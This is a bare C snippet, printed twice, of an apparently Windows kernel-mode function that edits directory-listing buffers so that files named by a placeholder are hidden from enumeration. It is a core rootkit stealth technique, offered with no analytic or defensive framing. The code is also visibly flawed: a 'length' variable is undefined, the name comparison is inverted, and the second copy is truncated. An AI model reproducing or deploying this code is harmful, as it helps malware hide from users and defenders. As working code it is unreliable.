BOOLEAN
HideFileOrDirectory(IN OUT PFILE_BOTH_DIR_INFORMATION DirInfo, IN PULONG lpBufLenth)
{
PFILE_BOTH_DIR_INFORMATION currentDirInfo = DirInfo;
PFILE_BOTH_DIR_INFORMATION lastDirInfo = NULL;
ULONG offset = 0;
ULONG position = 0;
ULONG newLenth = *lpBufLenth;
do
{
offset = currentDirInfo->NextEntryOffset;
if (MmIsAddressValid(currentDirInfo->FileName) && currentDirInfo->FileNameLength == length &&
_wcsnicmp(currentDirInfo->FileName, YourHideName, length))
{
if (0 == offset)
{
if (lastDirInfo)
{
lastDirInfo->NextEntryOffset = 0;
newLenth -= *lpBufLenth - position;
}
else
{
currentDirInfo->NextEntryOffset = 0;
*lpBufLenth = 0;
return TRUE;
}
}
else
{
RtlMoveMemory(currentDirInfo, (PUCHAR)currentDirInfo + offset, *lpBufLenth - position - offset);
newLenth -= offset;
position += offset;
}
}
else
{
position += offset;
lastDirInfo = currentDirInfo;
currentDirInfo = (PFILE_BOTH_DIR_INFORMATION)((PUCHAR)currentDirInfo + offset);
}
} while (currentDirInfo && 0 != offset);
*lpBufLenth = newLenth;
return TRUE;
}
HideFileOrDirectory(IN OUT PFILE_BOTH_DIR_INFORMATION DirInfo, IN PULONG lpBufLenth)
{
PFILE_BOTH_DIR_INFORMATION currentDirInfo = DirInfo;
PFILE_BOTH_DIR_INFORMATION lastDirInfo = NULL;
ULONG offset = 0;
ULONG position = 0;
ULONG newLenth = *lpBufLenth;
do
{
offset = currentDirInfo->NextEntryOffset;
if (MmIsAddressValid(currentDirInfo->FileName) && currentDirInfo->FileNameLength == length &&
_wcsnicmp(currentDirInfo->FileName, YourHideName, length))
{
if (0 == offset)
{
if (lastDirInfo)
{
lastDirInfo->NextEntryOffset = 0;
newLenth -= *lpBufLenth - position;
}
else
{
currentDirInfo->NextEntryOffset = 0;
*lpBufLenth = 0;
return TRUE;
}
}
else
{
RtlMoveMemory(currentDirInfo, (PUCHAR)currentDirInfo + offset, *lpBufLenth - position - offset);
newLenth -= offset;
position += offset;
}
}
else
{
position += offset;
lastDirInfo = currentDirInfo;
currentDirInfo = (PFILE_BOTH_DIR_INFORMATION)((PUCHAR)currentDirInfo + offset);
}
} while (currentDirInfo && 0 != offset);
*lpBufLenth = newLenth;
return TRUE;
}